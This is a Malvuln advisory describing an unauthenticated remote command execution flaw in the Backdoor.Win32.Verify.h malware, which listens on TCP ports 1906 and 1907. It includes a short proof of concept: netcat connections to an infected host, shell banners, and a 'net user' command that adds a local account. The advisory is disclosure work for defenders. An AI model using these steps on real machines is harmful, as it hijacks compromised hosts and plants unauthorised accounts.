Discovery / credits: Malvuln - malvuln.com (c) 2022 Original source: https://malvuln.com/advisory/82641dabbb1f73dd775e200466a07ec1.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Verify.h Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP ports 1906 and 1907. Third-party adversaries who can reach an infected host on either port can gain access and or run any OS command. Family: Verify Type: PE32 MD5: 82641dabbb1f73dd775e200466a07ec1 Vuln ID: MVID-2022-0538 Disclosure: 04/06/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 1907 Welcome to pMK_Veryfun v2082 SHELL. Have fun ^.^ ! Microsoft Windows [Version 10.0.16299.309] (c) 2017 Microsoft Corporation. All rights reserved. c:\>net user APPARITIONSEC 666 /add net user APPARITIONSEC 666 /add The command completed successfully. c:\>calc calc C:\>nc64.exe x.x.x.x 1906 Welcome to pMK_Veryfun v2082, type "help" or "helpv" for more information. Version [2082] - 4 Apr 2005 - Written by [pMK] - x0x0x0x0x0x0x0 [pTH] Access granted! My IP is [192.168.18.125|DESKTOP-2C3IQHO] Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).